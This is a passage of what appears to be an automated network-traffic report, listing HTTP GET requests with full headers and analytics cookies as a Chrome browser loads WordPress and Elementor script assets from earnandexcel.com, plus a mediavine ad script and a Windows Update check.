_gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/lib/dialog/dialog.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/js/frontend.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/grid-query.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-course-tabs.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /usersync.min.js?s2sVersion=production HTTP/1.1Host: exchange.mediavine.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/libs/countTo/jquery.countTo.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-counter.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-grid.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/group-widget-carousel.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/edumall/elementor/assets/js/widgets/widget-grid-post.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/lib/sticky/jquery.sticky.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/js/frontend.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor-pro/assets/js/preloaded-elements-handlers.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/elementor/assets/js/preloaded-modules.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/underscore.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=YOuaHwAoM57sNuV&MD=m9tW+5xE HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-util.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/wpforms/assets/js/integrations/elementor/frontend.min.js HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/thrive-ultimatum/js/dist/no-campaign.min.js?v=3.25 HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
Source: global traffic	HTTP traffic detected: GET /wp-content/uploads/RBC-Royal-Bank.png HTTP/1.1Host: earnandexcel.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://earnandexcel.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _ga=GA1.2.668614997.1712870801; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}
